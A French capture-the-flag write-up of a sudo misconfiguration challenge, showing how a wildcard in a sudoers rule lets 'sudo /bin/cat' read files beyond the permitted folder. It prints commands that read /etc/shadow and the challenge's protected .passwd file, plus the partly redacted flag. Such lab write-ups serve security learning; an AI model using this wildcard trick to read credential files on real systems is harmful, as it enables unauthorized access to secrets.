



App – Script

sudo – faiblesse de configuration

par Younès Kahloul

Pour ce challenge, il faut lire la documentation fournie pour avoir les informations nécessaires à sa réalisation.

Dans le document « sudo you are doing it wrong », une page nous donne l'information suivante :

Testing sudoers

- What access do I have?

```
$ sudo -l
```

- What access do other users have?

```
$ sudo -U username -l
```

- Test your changes before telling user they're set

Grâce à l'option « -l », on peut connaître les commandes exécutables en **sudo** par un utilisateur. On le fait sur notre utilisateur du challenge :

```
app-script-ch1@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch1 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch1 may run the following commands on challenge02:
    (app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*
```

On comprend ici qu'on peut exécuter la commande **cat** (à condition d'écrire `/bin/cat`) sur les fichiers présents dans le dossier `notes`, en utilisant l'utilisateur `app-script-ch1-cracked`.

Il y a une autre notion à comprendre pour pouvoir finaliser ce challenge, qu'on trouve également dans le document fourni :

Dangers of Wildcards

Pete ALL=/bin/cat /var/log/messages*

- So you can view all the /var/log/messages archives...

\$ sudo cat /var/log/messages /etc/shadow

- ...and all the other files in the system

Ce qu'il faut comprendre ici, c'est qu'on peut exécuter la commande cat en sudo pour pouvoir lire des documents auxquels nous ne sommes pas normalement autorisés à accéder, si on spécifie dans un premier temps un chemin vers un fichier autorisé, puis que nous revenons vers un fichier non autorisé.

Dans l'exemple de la capture d'écran, l'utilisateur exécute la commande cat pour accéder au fichier /etc/shadow en passant d'abord par le fichier qui lui est autorisé, à savoir /var/log/messages.

On va faire la même chose dans ce challenge :

```
app-script-ch1@challenge02:~$ sudo -u app-script-ch1-cracked /bin/cat /challenge
/app-script/ch1/notes/shared_notes /challenge/app-script/ch1/ch1cracked/.passwd
#####
Todo
- Change DHCP pool
- Change IP routing
- Beef up the fw
b. [REDACTED] !0
```

Et on obtient le flag.